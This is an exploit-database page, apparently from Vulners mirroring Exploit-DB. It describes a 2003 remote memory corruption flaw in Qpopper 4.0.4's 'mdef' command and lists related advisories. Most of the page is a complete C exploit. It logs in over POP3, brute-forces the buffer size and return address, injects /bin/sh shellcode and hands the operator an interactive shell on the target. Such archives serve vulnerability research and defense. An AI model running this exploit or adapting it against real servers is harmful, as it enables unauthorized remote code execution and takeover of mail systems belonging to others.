Lucene search
+L

Qpopper 4.0.x - Remote Memory Corruption

🗓️ 10 Mar 2003 00:00:00Reported by Florian HeinzType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Vulnerability in Qpopper 4.0.4 allows remote memory corruption, enabling command execution.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
qpopper < 4.0.5fc2 Qvsnprintf Remote Overflow
20 Aug 200400:00
nessus
nessus
Tenable Nessus
Debian DSA-259-1 : qpopper - mail user privilege escalation
29 Sep 200400:00
nessus
nessus
Tenable Nessus
Qpopper pop_msg() Macroname Remote Overflow
13 Mar 200300:00
nessus
nessus
Tenable Nessus
SUSE-SA:2003:018: qpopper
25 Jul 200400:00
nessus
cve
CVE
CVE-2003-0143
1 Sep 200404:00
cve
cvelist
Cvelist
CVE-2003-0143
1 Sep 200404:00
cvelist
euvd
EUVD
EUVD-2003-0139
7 Oct 202500:30
euvd
nvd
NVD
CVE-2003-0143
18 Mar 200305:00
nvd
openvas
OpenVAS
Debian: Security Advisory (DSA-259)
17 Jan 200800:00
openvas
openvas
OpenVAS
Debian Security Advisory DSA 259-1 (qpopper)
17 Jan 200800:00
openvas
Rows per page
// source: https://www.securityfocus.com/bid/7058/info

A memory corruption vulnerability has been discovered in Qpopper version 4.0.4 and earlier.

The vulnerability occurs when calling the 'mdef' command and a malicious macro name is supplied. By filling a target buffer with a malicious macro name it may be possible to trigger a procedure that would cause sensitive memory to be corrupted. The problem occurs due to the lack of NULL termination by the Qvsnprintf() function.

Successful exploitation of this issue may allow a remote attacker to execute arbitrary commands with the privileges of the Qpopper service.

#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] =
        "\x31\xc0"              /* xor %eax, %eax       */
        "\x31\xdb"              /* xor %ebx, %ebx       */
        "\xb0\x17"              /* mov $0x17, %al       */
        "\xcd\x80"              /* int  $0x80           */
        "\x31\xc0"              /* xor %eax, %eax       */
        "\x50"                  /* push %eax            */
        "\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
        "\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
        "\x89\xe3"              /* mov  %esp,%ebx       */
        "\x50"                  /* push %eax            */
        "\x53"                  /* push %ebx            */
        "\x89\xe1"              /* mov  %esp,%ecx       */
        "\x31\xd2"              /* xor  %edx,%edx       */
        "\xb0\x08"              /* mov  $0x8,%al        */
        "\x40\x40\x40"          /* inc  %eax  (3 times) */
        "\xcd\x80";             /* int  $0x80           */

#define BUFLEN 1006
#define RETLEN 148
#define RETADDR 0xbfffc004

void
shell_io (fd)
  int fd;
{
   fd_set fs;
   char buf[1000];
   int len;

   while (1)
     {
	FD_ZERO(&fs);
	FD_SET(0, &fs);
	FD_SET(fd, &fs);
	select(fd+1, &fs, NULL, NULL, NULL);
	if (FD_ISSET(0, &fs))
	  {
	     if ((len = read(0, buf, 1000)) <= 0)
	       break;
	     write(fd, buf, len);
	  }
	else
	  {
	     if ((len = read(fd, buf, 1000)) <= 0)
	       break;
	     write(1, buf, len);
	  }
     }
}



void
send_mdef (fd, buflen, retaddr, rashift)
  int fd, buflen, rashift;
  unsigned int retaddr;
{
   char buf[2000], *bp;
   int i;

   memset(buf, 0x90, 2000);
   memcpy(buf, "mdef ", 5);
   memcpy(buf + buflen - RETLEN - strlen(shellcode),
	  shellcode, strlen(shellcode));
   bp = (char *) (((unsigned int)(buf + buflen - RETLEN)) & 0xfffffffc);
   for (i = 0; i < RETLEN; i += 4)
     memcpy(bp+i+rashift, &retaddr, sizeof(int));
   buf[buflen-2] = '(';
   buf[buflen-1] = ')';
   buf[buflen] = '\n';
   write(fd, buf, buflen+1);
   return;
}

int get_pop_reply (int fd, char *buf, int buflen)
{
   int len;
   fd_set s;
   struct timeval tv;

   len = read (fd, buf, buflen);
   FD_ZERO(&s);
   FD_SET(fd, &s);
   tv.tv_sec = tv.tv_usec = 0;
   select(fd+1, &s, NULL, NULL, &tv);
   if (FD_ISSET(fd, &s))
     len = read (fd, buf, buflen);

   if (len == 0)
     return 0;
   else if (!strncmp(buf, "-ERR ", 5))
     return -1;
   else
     return len;
}

int
open_pop(ip, user, pass)
  unsigned int ip;
  char *user, *pass;
{
   struct sockaddr_in peer;
   int fd, st = 0;
   char buf[1024];
   int state = 0;

   peer.sin_family = AF_INET;
   peer.sin_port = htons(110);
   peer.sin_addr.s_addr = ip;

   fd = socket(AF_INET, SOCK_STREAM, 0);
   if (fd < 0)
     {
	perror("socket");
	exit(EXIT_FAILURE);
     }
   printf("Connecting to %s... ", inet_ntoa(peer.sin_addr));
   fflush(stdout);
   if (connect(fd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
     {
	perror("connect");
	exit(EXIT_FAILURE);
     }
   printf("Logging in... ");
   fflush(stdout);
   while ((state < 3) && ((st = read(fd, buf, 1024)) > 0))
     {
	if (!strncmp(buf, "+OK ", 4))
	  {
	     switch (state)
	       {
		case 0:
		  snprintf(buf, 1024, "USER %s\n", user);
		  write(fd, buf, strlen(buf));
		  state++;
		  break;
		case 1:
		  snprintf(buf, 1024, "PASS %s\n", pass);
		  write(fd, buf, strlen(buf));
		  state++;
		  break;
		case 2:
		  state++;
		  break;
	       }
	  }
	else if (!strncmp(buf, "-ERR ", 5))
	  {
	     fprintf(stderr, "Could not log in. Did you provide a valid "
		     "username/password-combination?\n");
	     break;
	  }
	else
	  {
	     fprintf(stderr, "Invalid response from POP-Server:\n'%s'\n",
		     buf);
	     break;
	  }
     }
   if (state < 3)
     {
	fprintf(stderr, "Exiting due to error...\n");
	exit(EXIT_FAILURE);
     }
   else if (st < 0)
     {
	perror("read");
	exit(EXIT_FAILURE);
     }
   else if (st == 0)
     {
	fprintf(stderr, "Peer closed...\n");
	exit(EXIT_FAILURE);
     }
   return fd;
}

int
main (argc, argv)
  int argc;
  char *argv[];
{
   char *host, *user, *pass;
   struct hostent *he;
   struct in_addr in;
   unsigned int ip, retaddr;
   int fd = -1, lbs, bs, ubs, found = 0, st;
   char buf[2000];

   if (4 != argc)
     {
	fprintf(stderr, "Usage: %s <host> <user> <pass>\n\n", argv[0]);
	exit(EXIT_FAILURE);
     }

   host = argv[1];
   user = argv[2];
   pass = argv[3];
   if (!inet_aton(host, &in))
     {
	if (!(he = gethostbyname(host)))
	  {
	     herror("Resolving host");
	     exit(EXIT_FAILURE);
	  }
	in.s_addr = *((unsigned int *)he->h_addr);
     }
   ip = in.s_addr;

   printf("Phase 1: Seeking buffer size\n");
   lbs = 0;
   bs = BUFLEN;
   ubs = 2000;
   while (!found && (bs != lbs) && (bs != ubs))
     {
	if (fd < 0)
	  fd = open_pop(ip, user, pass);
	printf("Trying %d bytes... ", bs);
	fflush(stdout);
	send_mdef(fd, bs, 0x01010101, 0);
	sleep(1);
	switch ((st = get_pop_reply(fd, buf, 2000)))
	  {
	   case 0:
	     found++;
	     close(fd);
	     fd = -1;
	     break;
	   case -1:
	     printf("too long.\n");
	     ubs = bs;
	     bs = (lbs+ubs)/2;
	     break;
	   default:
	     if (st < bs)
	       {
		  printf("(slightly) too long.\n");
		  ubs = bs;
		  bs = (lbs+ubs)/2;
		  break;
	       }
	     else
	       {
		  printf("too short.\n");
		  lbs = bs;
		  bs = (lbs+ubs)/2;
		  break;
	       }
	  }
     }
   if (!found)
     {
	printf("Couldn't find correct buffersize...\n");
	exit(EXIT_FAILURE);
     }
   printf("crash.\n");
   while (found)
     {
	bs--;
	if (fd < 0)
	  fd = open_pop(ip, user, pass);
	printf("Trying %d bytes... ", bs);
	fflush(stdout);
	send_mdef(fd, bs, 0x01010101, 0);
	sleep(1);
	if (get_pop_reply(fd, buf, 2000))
	  {
	     printf("no crash\n");
	     bs += 4;
	     bs = bs & 0xfffffffc;
	     found = 0;
	  }
	else
	  {
	     fd = -1;
	     printf("crash\n");
	  }
     }
   printf("Optimal buffer size: %d\n\n", bs);


   printf("Phase 2: Find return address\n");
   found = 0;
   retaddr = RETADDR;
   while (!found)
     {
	if (fd < 0)
	  fd = open_pop(ip, user, pass);
	printf("Trying %x... ", retaddr);
	fflush(stdout);
	send_mdef(fd, bs, retaddr, 2);
	sleep(1);
	if (get_pop_reply(fd, buf, 2000))
	  {
	     printf("no crash\n");
	     found = 1;
	  }
	else
	  {
	     fd = -1;
	     retaddr += ((bs - RETLEN - 10 - strlen(shellcode)) & 0xffffff00);
	     printf("crash\n");
	  }
	if (retaddr > 0xbfffff00)
	  break;
     }
   if (!found)
     {
	printf("Couldn't find a valid return address\n");
	exit(EXIT_FAILURE);
     }
   write(fd, "uname -a\n", 9);
   st = read(fd, buf, 100);
   buf[st] = '\0';
   if ((buf[0] != '-') && (buf[0] != '+'))
     {
	printf("We're in! (%s)\n", buf);
	shell_io(fd);
     }
   else
     printf("We failed...\n");

   exit(EXIT_FAILURE);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.08604
36